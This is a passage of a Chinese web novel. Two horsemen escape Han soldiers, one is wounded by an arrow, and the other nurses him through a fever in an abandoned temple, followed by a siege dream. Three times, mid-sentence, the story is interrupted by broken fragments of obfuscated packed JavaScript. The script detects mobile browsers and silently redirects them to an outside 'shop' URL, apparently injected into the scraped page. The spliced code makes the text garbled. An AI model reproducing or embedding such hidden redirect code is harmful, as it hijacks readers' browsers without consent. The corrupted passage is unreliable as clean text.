老将的目光渐渐涣散,却始终落在那匹黑马身上。 “夜戴星啊……你是匹……好马……” 他的声音越来越轻,轻得几乎听不见。 “……活下去吧。” 话音落下,那只抚在马颈上的手缓缓滑落,垂在身侧。 再无声息。 黑马怔立原地,漆黑的眸子直直望着它的主人。 它轻轻用鼻子拱了拱那只垂落的手,又拱了拱。 无人回应。 它仰起头,发出一声悲怆的长嘶,声彻云霄。 那嘶鸣划破长空,惊起河畔芦苇丛中无数飞鸟,扑棱棱振翅逃散。 “什么人——?!” 远处骤然传来喝问声。 紧接着,是盔甲摩擦的金属锵鸣,以及杂沓的脚步声。 李系眼神一凛。 糟了。 是打扫战场的辅兵。 战事既毕,胜者必遣辅兵清点首级、剥取甲胄、收缴散落的箭矢辎重。若被他们撞见,少不了一番盘问纠缠,甚至惹来杀身之祸。 他与裴施无畏对视一眼,彼此目光中皆是凝重。 无需多言。 下一瞬,裴施无畏足尖一点,身形暴起,如苍鹰掠空,直扑向夜戴星。 李系则转身跃上里飞沙马背。 夜戴星猝不及防被人骑上,顿时发出一声暴怒的嘶鸣,前蹄高高扬起,开始疯狂纵跃,企图将背上之人甩落。 而裴施无畏双腿夹紧马肚,手拽缰绳,开始驯马。 它跳得又高又烈,四蹄腾空,身躯剧烈扭动,当真是野性难驯。 裴施无畏却稳如磐石。 他双腿死死夹住马腹,一手紧攥缰绳,一手按住马颈,整个人随着马身的起伏而起伏,却始终不曾被甩脱分毫。 殷红衣袂烈烈翻飞,狼眸锐利如刀,神色桀骜张狂。 烈马遇英雄,一人一马,皆是同一般的野性难驯。 李系望着这一幕,眸中闪过一丝赞赏。 好一个意气风发的红衣郎。 数息之后,夜戴星的挣扎渐渐弱了下去。 它喘着粗气,终于不再纵跃,只是不甘地打着响鼻。 “吁——” 裴施无畏猛地一勒缰绳。 夜戴星前蹄高扬,人立而起,发出一声长嘶。 夕阳如血,晚霞漫天。 红衣郎君勒马扬蹄,立于霞光之中,衣袂猎猎,意气飞扬。 他回首望向李系,唇角扬起一抹得意的笑。 李系亦回以一笑,眼底满是赞许。 裴施无畏见了,笑意更深。 然而下一瞬,他便敛了神色,沉声道:“华洛兄,有兵来了!咱们速速离开此地!” 李系驱马上前,与他并辔而立:“可。往何处去?” 裴施无畏看了眼远处的城池,正色道:“若我没看错,那应该是西京长安。” “二十年前铁勒灭燕,占据中原。然铁勒人少,三年后无力统治,只得北撤。宣武军节度使刘道元与河东节度使司马弼便趁机分据东西二京,一个在汴梁称王建汉国,一个在长安称王建晋国。” “这俩老鳖,打铁勒不敢,彼此较劲倒是毫不手软。” 他瞥了眼尸山旁破碎的“晋”字军旗,“眼下看来,是汉军赢了。” 李系目光掠过远方城池的轮廓,神色幽深。 长安。 “长安去不得。”裴施无畏拍了拍夜戴星的马颈,以示安抚,“刘道元此人自己便是个丘八牙子,麾下汉军更是上梁不正下梁歪。晋军既败,难保他不会纵兵劫掠,甚至屠城。” 他举鞭指向西北:“咱们绕开长安,走陇关道。” 李系心念一动,飞快地在脑海中调出地图,颔首道:“沿着北山穿秦川,过凤翔,出陇州,越关山?” 裴施无畏没想到他竟能如此精准地说出路线,眼中闪过一丝讶色,旋即朗声道:“正是!” 他猛夹马腹,夜戴星长嘶一声,如离弦之箭般蹿了出去。 “华洛兄,跟紧了!” 李系扬鞭策马,白马四蹄翻飞,紧随而上。 “放心!”他朗声应道,“我骑术,定不输你!” 二骑一黑一白,越过尸山,在平原上绝尘飞驰。 这番动静,自然引来了辅兵的注意。 “有人!” “站住——!” 二人充耳不闻,只管策马狂奔。 辅兵们见他们不肯停,又瞧见那两匹神骏非凡的良驹,顿时眼热起来。 忽然,有人瞪大了眼睛,失声叫道:“那黑马——是晋军大将赫连凛的夜戴星!将军说了,要咱们找到此马献给主公!快、快拦住他们!” “他们跑太快,追不上啊!” “废物!追不上就发信号,请骑兵!” 一声尖啸破空而起,信号箭拖着刺目的红光冲上云霄,在半空中炸开。 李系回首一瞥,见那群辅兵举着兵刃跌跌撞撞地追来,转头继续疾驰。 近战小怪而已,拉开距离就脱战了。 不消管。 然而棘手的是,信号弹发出后,远方原本正往长安方向行进的骑兵队伍,竟调转了马头,朝这边疾驰而来! 马蹄声如闷雷滚动,烟尘漫天。 粗略一数,少说也有百余骑。 “啧。”裴施无畏不耐地啧了一声,朝李系扬声道:“华洛兄,跟紧我!” “骑兵从前方包抄过来,咱们必须抢在合围之前冲出去!” 李系朗声应道:“你只管往前冲,我跟得上!” 裴施无畏大笑一声,猛夹马腹:“好!” 夜戴星四蹄翻飞,速度骤然拔高。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381106|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “站住——!” 前方骑兵将领厉声高喝:“汉王大军在此,小贼还不速速下马受缚!” 裴施无畏头也不回,啐了一口:“呸!你才小贼!” 说罢,一甩马鞭。 夜戴星长嘶一声,跑得愈发迅猛。 汉军将领见二人视若无睹,再瞧那两匹神骏非凡的良驹,又气又眼红,厉声喝道:“追!给老子追!” “定要将人拦下,把马夺来!” 说罢,他张弓搭箭,朝天射出一支鸣镝。 尖锐的啸声划破长空,刺耳至极。 游走在长安四周尚未收拢的斥候与游骑闻声,以为仍有晋军残部负隅顽抗,纷纷朝鸣镝声响处聚拢而来。 李系望着前方不断汇集的黑点,眸中闪过一丝冷意。 为了两匹马,竟连鸣镝都放了。 若落入汉军之手,他们二人必死无疑。 前方那些游骑,照眼下的行进路线,必会与他们迎头撞上。 必须突围。 李系一手握紧缰绳,一手探向背后,将长枪取下。 枪身入掌,寒芒微闪。 既然汉军非要杀人夺马,那便休怪他不客气了。 几乎同一时刻,裴施无畏也从腰间抽出横刀,刀光霍霍,杀意凛然。 二人策马并肩,飞速交换了一个眼神。 无需多言,彼此已然会意。 硬闯,杀出去。 下一瞬,二骑如离弦之箭,朝着前方骑阵直冲而去。 游骑兵们见二人非但不逃,反而迎面冲来,先是一愣,旋即狞笑着挺矛迎击。 然而他们很快便笑不出来了。 那两匹马,一黑一白,气势骇人,凶悍异常。 马蹄翻飞间,竟带着一股令人胆寒的煞气,寻常战马甫一靠近,便惊得嘶鸣后退,不敢上前。 而马背上那两人,更是悍勇得不似凡人。 红衣郎君横刀立马,刀光如练。但见寒芒一闪,近身者非死即伤,血溅三尺。 白衣郎君长枪如龙,枪出如雷。枪芒所及,人仰马翻,无人能挡其锋。 二人一左一右,配合得天衣无缝。 汉军很快便发现,那红衣郎君使的是唐横刀,短兵难敌长矛,当即集中兵力围攻于他。 李系见状,立刻策马护上他的侧翼。 长枪横扫,真气激荡。 但见枪影翻飞,化作漫天寒芒,如同一道移动的铁壁,将所有企图靠近裴施无畏的骑兵尽数绞杀。 裴施无畏得他护持,再无后顾之忧,当即收刀专心驭马,只管埋头往前冲。 二人一守一攻,配合精妙。 汉军骑兵被杀得人仰马翻,哀嚎遍野。 二骑如两道惊虹,生生撕裂骑阵,从包围圈中杀出一条血路。 待汉军将领反应过来时,那一黑一白两道身影,已然远去数十丈开外。 “该死——!” 汉军将领面色铁青,暴怒不已。 “神射手何在!” 骑兵虽已追之不及,但二人仍在强弩射程之内。 “单兵强弩,给我射!”他厉声喝道,“把那两个晋军余孽射杀掉!” 令下如山。 五名神射手立马操控强弩,瞄准前方那两道飞驰的身影。 咔咔数声,弩弦绷紧。 另一头,李系已冲出包抄范围,心下稍松,不由放缓了里飞沙的速度。 然而就在此时,一道尖锐的破空声自身后袭来。 与破空声一同响起的,是裴施无畏的惊呼—— “华洛兄,小心——!” 10. 他好香啊 “华洛兄,小心——!” 厉喝骤起,一道劲风擦耳而过。 李系眼角余光捕捉到一抹殷红掠至身侧,瞳孔倏然一缩。 裴施无畏不知何时策马冲至他身旁,抬臂横于他身后,硬生生将那支直取后心的冷箭挡了下来。 “噗——” 箭矢没入血肉,发出闷响。 “裴兄!”李系失声。 裴施无畏左臂中箭,殷红的衣袖顷刻洇出一片更深的暗色。箭杆兀自颤动,鲜血沿着小臂蜿蜒而下,一滴一滴坠在马鬃上,触目惊心。 然而他面色不变,那双狼眸依旧锐利如常,只是眸底深处掠过一丝不易察觉的戾气——不是冲着李系,而是冲着身后那些穷追不舍的敌人。 “无碍。”他他咬牙抽刀,反手一斩,将露在体外的半截箭杆齐齐削断。 断箭坠地,他眉头都不曾皱一下。 处理完箭后,裴施无畏猛夹马腹,哑声道:“加速,往山丘走,彻底甩开他们!” 李系望着他臂上那道仍在渗血的伤口,喉间发紧。 关心和担忧的话涌至唇边,终还是咬了咬牙,尽数咽下,然后俯身催马,提速跟上。 裴施无畏说得对,他们只能往前冲。 里飞沙与夜戴星四蹄翻飞,卷起漫天烟尘。 不知奔了多久,身后的追兵声渐渐稀落,终至消弭于夜风之中。 二人来到了一处废弃的守陵村。 月色清冷,洒落满地碎银。 村中空无一人,荒草没径,屋舍坍塌大半,断壁残垣间野狗低嚎。枯木虬枝横斜,夜鹭盘旋于上,哑哑而鸣。 李系环顾四周,再以系统小地图为辅助,确认周围没有红名后,这才微微松了口气。 他们在村外靠山的一间破庙前停了下来。 “裴兄,此处安全,先歇下吧。”李系翻身下马。 然而裴施无畏并未应答。 他身形一晃,径直从马背上栽了下来。 李系眼疾手快,一个箭步上前,堪堪将人接住。 “裴兄!” 月光下,裴施无畏小麦色的肌肤泛起不正常的潮红。李系扶着他的肩背,隔着单薄的衣料,掌心传来的热度烫得惊人。 他目光落在裴施无畏的左臂上,面色一沉。 该死,伤口未能及时处理,化脓发热了。 李系深吸一口气,俯身将人打横抱起。 然而方一起身,他身形便是一个踉跄,险些跌倒。 好沉! 这人究竟吃什么长大的?! 裴施无畏虽非肌肉虬结的筋肉壮汉,却也是实打实壮硕如虎的成年男子。李系自认与他身形相仿,虽极不愿承认,但抱着他走路,当真吃力。 费了九牛二虎之力,李系总算将这位裴郎君搬进了庙中。 破庙久无人至,四处蛛网横结,落灰满地,瞧着起码荒废了好些年头。 李系将裴施无畏安置在相对干净的角落,从系统里取出一件战令披风垫在他身下,又匆匆捡了些茅草碎木,拢作一堆,生起火来。 庙外,乌云遮月,阴风四起,不多时便淅淅沥沥落起雨来。 里飞沙素来不喜淋雨,踏着碎步进了破庙,径自霸占了观音座下的位置。神奇的是,它竟还叼着夜戴星的缰绳,将那匹马也一并带了进来。 李系顿时环视边牧训狗。 他望着这两匹有些过于通人性的马,无奈地笑了笑,温声道:“莎莎,夜戴星,你们稍候,待我替裴兄处理好伤口,便给你们添草喂水。” 里飞沙甩了甩尾巴,权作回应。 李系看向倒在地上的人。 裴施无畏状态很不好。 额角冷汗涔涔,面色潮红,左臂中箭处血肉模糊,半截断箭仍深埋其中。 李系眼里闪过一丝自责。 这箭,是为救他而挨的。 他半跪下身,在裴施无畏耳畔轻声道:“狮郎,会有些疼,你忍一忍。” 虽不知昏迷中的人能否听见,但他还是说了。 话落,他取出匕首,置于火上炙烤片刻,又掏出一壶烈酒,将酒液淋在那血肉模糊的伤口上。 “唔!”裴施无畏闷哼一声,眉头紧蹙,身子微微一颤,却始终未曾醒转。 李系手上动作不停。挑肉,拔箭,剜去脓疮腐肉,再洒上上品止血散,最后以干净的绷带仔细包扎妥当。 处理好伤口,李系又起身给里飞沙和夜戴星添了皇竹草与五莲泉,将倒伏在地的破庙门板扶起,拦在窗前,勉强遮挡住灌入的风雨。 做完这一切,夜已深沉。 他解下身上那件椿山漫的红色外袍铺在地上,靠着墙根坐下,疲惫地揉了揉眉心。 好累。 从风陵渡捣毁镇龙堂,到渡河西行,再到骑马逃离那伙不知来路的追兵……这三日来,他就不曾合眼。 要不是系统和天策心法强化了体魄,他恐怕早就累倒了。 只盼着接下来莫有什么幺蛾子,让他安安稳稳赶路便好。 正当他打算和衣睡下时,身侧忽然传来一阵异响。 李系蓦地睁眼,侧头望去。 裴施无畏的身子开始止不住地发颤。 他连忙起身,探手覆上对方额头。 好烫。 裴施无畏面色仍带着那抹不正常的潮红,整个人却抖如筛糠,连牙关都在上下打战。明明周身热得烫手,嘴里却含糊不清地喊着“冷”。 李系突然意识到,裴施无畏身上的衣衫早在先前纵马狂奔时被冷汗浸透,此刻贴在身上,湿冷黏腻。 穿着湿衣捂汗,乃是大忌。 他一拍额头,暗骂自己当真是累糊涂了,竟忘了这一茬。 当下也顾不得许多,俯身便去解裴施无畏的衣带。 所幸这人素来喜着单衣,衣饰并不繁琐。腰带一松,衣襟便敞了开来。 李系手指触上那片滚烫的肌肤,动作微微一顿。 他垂眸,将湿透的单衣褪下,裴施无畏精壮的身躯便这般毫无遮掩地展露在他眼前。 火光明灭,在那小麦色的肌肤上投下跃动的光影。 李系的目光不自觉地顿住了。 胸膛宽阔厚实,胸肌饱满隆起,顺着中线往下,是轮廓分明的八块腹肌,肌理如刀刻斧凿,一路延伸至腰腹,收束成两道流畅的人鱼线,斜斜没入腰带之下。 裴施无畏身上的每一寸肌肉都壮得恰到好处,蕴着蓬勃的力量与野性。 李系喉结微微一动。 他移开目光,却又鬼使神差地瞥了回去。 ……靠,这哥们儿怎么练的,每一块都这么大。 然而细看之下,那蜜色肌肤之上,竟布满了深深浅浅的伤疤。 刀痕,箭疮,新伤叠着旧伤,纵横交错。 李系眸色渐深,眉头微蹙。 若非亲眼所见,只凭这一身伤疤,他定会以为眼前人是个久经沙场的老将,而非那个恣意张狂、金尊玉贵的红衣郎。 他的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381107|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不自觉地落在裴施无畏侧颈:微弱的火光下,那人左耳耳垂上,竟有一个小小的孔洞。 是耳洞,却未见耳环。 是忘了佩戴,还是有意遮掩? 李系微微眯起眼。 裴施无畏,你究竟是什么人? “冷……好冷……” 一声呢喃打断了他的思绪。 裴施无畏蜷缩在披风上,牙齿止不住地上下磕碰,发出细碎的声响。他双眼紧闭,唇色泛白,身子抖得厉害,口中只一个劲地喊冷。 李系敛了神思,转身将柴火拨得更旺些。 然而火烧得再旺,裴施无畏依旧抖如筛糠,身子蜷成一团,像一只受了伤的幼狮,发出几不可闻的呜咽。 李系看他这副模样,心下一软。 归根结底,这一箭还是替他挨的。若非裴郎舍身相护,此刻躺在这里的人,便该是他李系了。 他抿了抿唇,深吸一口气,终于下定了决心。 手指探向自己的衣带,一扯,内衬的系带便松了开来。 他俯身,将裴施无畏捞起,拥入怀中。 肌肤相贴的刹那,李系浑身一颤,小腹不自觉地瑟缩。 那具滚烫的躯体紧紧贴着他的胸膛,灼热的温度隔着薄薄的一层皮肉传来,烫得他心口发麻。他能清晰地感受到对方胸膛的起伏、心跳的频率,还有那蜜色肌肤上细密的汗珠,蹭过他的锁骨,留下一道湿热的痕迹。 李系耳根倏地烧了起来,烧得他几乎能听见自己血液“咕咚咕咚”沸腾的声音。 他僵坐在原地,连动都不会动了。 这是他第一次与人如此亲近,第一次与人有这般……肌肤之亲。 不、不对! 这词不是这么用的! 李系面红耳赤,脑中一片混乱,恨不能抽自己两巴掌。 他在想什么啊! 好给啊! 李系身形颀长,肩宽背阔,胸膛厚实,胸肌饱满结实,线条流畅有力,是实打实在沙场上厮杀淬炼出的武将身躯。 此刻这副武将身躯被裴施无畏这般蹭弄,那两块紧实的胸肌微微绑紧,随着呼吸轻轻起伏。 裴施无畏似是寻着了什么舒适的倚靠,干燥微凉的唇瓣不自觉地蹭过那一片肌肤,划过酡颜峰顶,温热的鼻息尽数喷洒在他胸前。 一阵酥麻自胸口炸开,顺着脊柱一路攀升,激得李系头皮发麻,连脚趾都蜷缩起来。 他呼吸一窒,身子僵得愈发厉害。 深吸一口气,又深吸一口气,竭力按捺下那莫名的心悸。 只是……只是替他暖身子罢了。 都是兄弟,没什么大不了的。 裴施无畏烧得厉害,肌肤滚烫如火。然而不知是何缘故,他身上除了淡淡汗意,竟还萦绕着一缕若有若无的檀香。 淡淡的,幽幽的,不似熏染,倒像是与生俱来的体香。 李系下意识地深吸一口,旋即一怔。 等等,他在干嘛? 世人皆道男子身有浊气,所以才有“臭男人”的骂法。可他对裴施无畏的气息非但不觉排斥,反而……反而可耻地觉得有几分好闻。 甚至还有些……上头。 【“兄弟,你好香啊。”】 某个网络烂梗突然冒出,如弹幕刷频一般挤满脑海。 李系顿时在心里尖叫出声—— 啊!! 走开!走开! 他不是给!他不是给! 网络烂梗害人啊!! 11. 休整养伤 裴施无畏是被热醒的。 意识回笼的刹那,他只觉浑身燥热难当,像是被人丢进了火炉里。 然而奇怪的是,脸颊所贴之处,却是一片沁凉。 他迷迷糊糊地睁开眼。 入目是一片羊脂玉般的莹白。 温润,细腻,微微起伏,触感柔韧而富有弹性,正与他的脸颊严丝合缝地贴在一起。 ……这是? 裴施无畏尚有些混沌的脑子艰难地转动着。 视线缓缓上移,一抹嫣红闯入眼帘。 深琥珀色的眼眸渐渐聚焦,他终于看清了自己枕着的究竟是什么。 那是一片胸膛。 肌肉饱满,线条流畅,肤如凝脂。胸肌轮廓分明,却不显粗犷,反倒透着几分冷玉般的矜贵。 胸膛的主人似是睡着了,呼吸平稳,起伏间,那两块莹白的羊脂玉便随之微微颤动。 他方才枕着的,正是其中一边。 裴施无畏:……………… 他的脑子彻底宕机了片刻。 足足三息,方才重新转动起来。 然后,一股热意以迅雷不及掩耳之势窜上面颊。 那张素来桀骜的俊脸,竟以肉眼可见的速度涨得通红,从耳根一路烧到了脖颈。 裴施无畏整个人都僵住了,如遭雷击。 他、他怎会睡在别人胸脯上?! 裴施无畏猛然惊醒,一个鲤鱼打挺惊坐起。 剧烈的动作牵扯到左臂伤口,疼得他倒抽一口凉气,却顾不得这么多,只瞪大眼睛望向身侧之人。 到底发生了什么?! 莫非他昏迷之际,稀里糊涂玷污了哪家姑娘? 完犊子了! 他裴施无畏自诩磊落君子,怎可趁人之危行此禽兽之—— 念头尚未落地,目光扫至那人面容时,他忽地僵住了。 剑眉入鬓,鼻若悬胆,薄唇微抿,眉宇间透着一股清冷疏朗的气韵。 不是姑娘。 是李华洛。 裴施无畏怔了一瞬,旋即长舒一口气。 吓死他了,还以为是哪家女子。 原来是华洛兄,那便没什么大不了的。 如此想着,他看专门看了看,像是品鉴般在心中指指点点一番。 练得不错,快跟自己的差不多大了。 裴施无畏活动了一下左臂,低头看向那处包扎得整整齐齐的伤口。 纱布缠得细密妥帖,松紧得当。伤口虽仍有些隐隐作痛,却不复昨日那般闷肿难当,箭头与脓肉都已被清理干净。 他又环顾四周,瞧见角落里摆着的空酒坛与揉作一团的纱布。 昨夜烧得厉害,意识时断时续,却依稀记得有人在他身侧忙碌。擦身、喂水、换药……那人虽不如军医那般老练,却妥帖细致极了。 是华洛兄。 他照顾了自己一整夜。 裴施无畏转头,目光重新落在那张沉睡的面容上。 他显然累狠了,他方才那般大的动静都未能将人惊醒。 此刻李系正躺在地上,脑袋微微偏向一侧,眉头微蹙。那件绯红外袍不知何时披在了裴施无畏身上,自己只着白色单衣,衣襟大敞,露出精壮的上半身。 裴施无畏看着他玉雕般的侧颜,冷硬的眉眼不自觉地柔和下来。 自己都已经累成这样了,还尽心尽力地照顾他,甚至不惜用身体为他取暖。 这乱世中,品行心性如此好的郎君,当真是打着灯笼都难寻。 行,也不枉他替他挨了那一箭。 说来也怪,当时他也不知自己是怎么了,想都没想便伸手替他挡了那一箭。 大约是真把李华洛当朋友了吧。 裴施无畏垂眸,目光落在李系的睡颜上。 眉如远山黛,唇若三月花。 好看,真好看。 他鬼使神差地盘起腿来,俯下身,单手撑着下巴,仔细端详着李系的面容。 肤白若暖玉,姣姣映清辉。 裴施无畏摸了摸自己小麦色的脸,暗自咂嘴。 这人是怎么长的,怎的自己就没生成他这般俊俏? 不过嘛,他裴施无畏虽无华洛兄这般如玉容颜,却也是英武不凡的俊朗男儿,走出去照样惹人注目。 况且男子汉大丈夫,当顶天立地、建功立业,容貌不过是人身上最不值一提的东西。 再者,华洛兄侠肝义胆,武艺非凡,骁勇善战,自己只盯着他的皮相品头论足,未免太过肤浅、太过不敬了。 这般想着,他便收敛了对李系容貌的点评。 忽然,一缕凉风穿堂吹过。 李系身子下意识地瑟缩了一下。 裴施无畏见状,忽地想起为了给他取暖,李系不但将外袍脱下盖在他身上,甚至还用自己的身体为他驱寒。 于是他伸出手,轻轻将李系大敞的衣襟拢好,又将自己那件已经晾干的貂毛披风捞过来,仔细盖在李系身上。 那披风乃上等貂皮所制,轻柔保暖。果然,盖上之后,李系因寒冷而蹙起的眉头渐渐舒展开来,睡颜恬静安宁。 见他睡颜重归恬静,裴施无畏嘴角不自觉地勾了起来。 李华洛不是要去凉州投奔他吗?待到了凉州,他便封华洛兄做他的亲卫。日后若他举兵东征,华洛兄便是他麾下一员良将,二人并肩驰骋沙场,岂不快哉? 届时,这段以身相暖、解衣衣我的情谊,便是流传后世的君臣佳话了。 想到此处,他心中一阵激荡。 安顿好李系,裴施无畏施施然起身。 此时已是日上三竿,外头下了一夜的雨早已停歇。温煦的阳光从四面大开的破窗中倾泻而入,将这间破败的小庙照得透亮。 裴施无畏此刻浑身上下只剩一条亵裤,精壮的身躯沐在阳光中。宽肩窄腰,肌肉虬结,周身线条刚硬有力,浑似一头蓄势待发的雄狮。 他走到昨日被褪下的衣物前,伸手一摸:衣裳被汗水浸透又捂了一夜,虽已干透,却皱巴巴地缩成一团,又硬又涩。 裴施无畏的眉头瞬间拧成了川字,满脸嫌弃。 他捏着那坨衣服纠结再三,终是没能跨过心里那道坎。 罢了。又不是没衣裳穿了,何苦委屈自己。 他将衣物随手一扔,转身从行囊中翻出最后一套干净衣裤,麻利地穿上了。 “到了凤翔,得添置几身新衣……”他嘟囔道。 卧在破庙另一端的里飞沙与夜戴星见终于有人醒了,顿时躁动起来,纷纷提起前蹄刨了刨地,急欲出去的心思昭然若揭。 裴施无畏见这两匹马竟就这么在庙里安安分分卧了一夜,不吵不闹,不由挑了挑眉,啧啧称奇:“哟,你俩一整夜都待在里头?还没拴绳?……真是奇也怪哉。” 说罢,他右手牵起两匹马,往庙外走去。 庙外,雨后初霁,天青如洗。 裴施无畏将马拴在廊下,正欲转身回去,忽闻一阵扑棱声自林间传来。 一只灰羽鸽破空而至,绕着他盘旋一圈,稳稳落在他肩头。 是飞奴。 裴施无畏神色微凝,抬手将鸽子托在掌心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381108|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解下其腿上的蜡封竹筒,取出一卷薄如蝉翼的绢帛,迅速展开。 片刻后,他眉头渐拢,面上那抹惯常的散漫之色悄然敛去。 他将绢帛收入袖中,转身回到庙内,自行囊中取出墨盒与鸡距笔。 他在路过李系时,盯着他熟睡的容颜片刻,才移开视线,走到庙里的老旧木桌前,笔尖蘸墨,龙飞凤舞地在另一张绢帛上写下数行字:【继续找。另,查明铁勒追杀李成养子李系之缘由,探其下落。凤翔见。】 墨迹干后,他将绢帛卷好,塞入竹筒,重新系回鸽腿。接着走出破庙,将飞奴放走。 鸽子灰羽振翅,直冲云霄,眨眼间便没入天际。 他负手立于檐下,目送那道灰影远去,狼眸微眯,若有所思。 * 李系做梦了。 他梦到自己回到了第一世守卫云州的时候。 边城之外,铁勒“朔”字旗浩浩荡荡,万马奔腾,铁蹄踏地之声如雷霆滚滚。敌军黑压压涌至城下,如墨色潮水,望不见尽头。 那时他立于城头,望着气势汹汹的铁勒大军,与身旁士卒一般无二,心生怯意,双腿止不住发颤。 但他或许生来便比旁人多了半个胆子。云州指挥使已吓得面无人色,余下兵卒更不敢抬头,生怕被流矢穿喉,连女墙边都不敢靠近,唯有他悄悄自垛口探出头去,窥探城外敌情。 四骑自铁勒军阵中缓缓驶出,煞气蒸腾,于距城墙五十步处勒马驻足。 为首之人头戴狼王战盔,正是铁勒大汗阿史那·铁砧。他身侧并辔而立者,乃其三个儿子:大王子阿史那·咄摩,二王子阿史那·飞鹰,三王子阿史那·枭烈。 由于相隔甚远,李系看不真切铁勒大汗的面容,只依稀辨出那是个凶悍狠戾的中年男人,周身气势如饿狼窥伺猎物。其旁三子,长子最为魁梧,次子高挑精悍,三子尚且年少,却已锋芒初露。 雄主气吞万里,三子虎视眈眈,父子四人并辔而立,气焰滔天。 反观大燕金銮殿上那位新皇,优柔寡断,多疑善变,虽有重振山河之心,却无力挽狂澜之才。 李系望着城下那四道身影,不由在心中长叹。 大燕,当真气数已尽么? 忽然,号角声大作。 苍凉低沉的呜咽声自四面八方涌来,成千上万支号角齐鸣,震得城墙都在颤抖。 旋即,城下杀声四起。 铁勒人攻城了。 火箭与巨石如流星坠落,砸得城头砖石碎裂,烟尘滚滚。云州指挥使早已吓得失禁,扯着嗓子叫唤着要开城门投降。 李系心头大骇。 不能开! 铁勒人凶残嗜杀,每克一城便屠一城。此番兵临云州,更是不曾遣使招降,直接强攻——分明是要将云州上下屠戮殆尽,刮净脂膏! 此刻若开城门,满城军民,必死无疑! 他如记忆中那般抽刀出鞘,一刀割断了云州指挥使的咽喉。 然而正当他欲振臂高呼,号令众人死守城池、以待援军时,一枚燃着烈焰的巨石呼啸而至,挟着灼人热浪,直直朝他砸来。 耳畔同时炸响阿史那·枭烈桀骜狂妄的声音: “哈哈哈!软蛋中原人——” “李家小儿——” “追!都给本王追!抓住他——本王要他求生不得、求死不能!!” 天旋地转。 眼前骤然陷入一片漆黑。 黑暗之中,隐隐传来一阵声响。 嘎吱。 嘎吱。 似是野狼啃噬骨骸之声。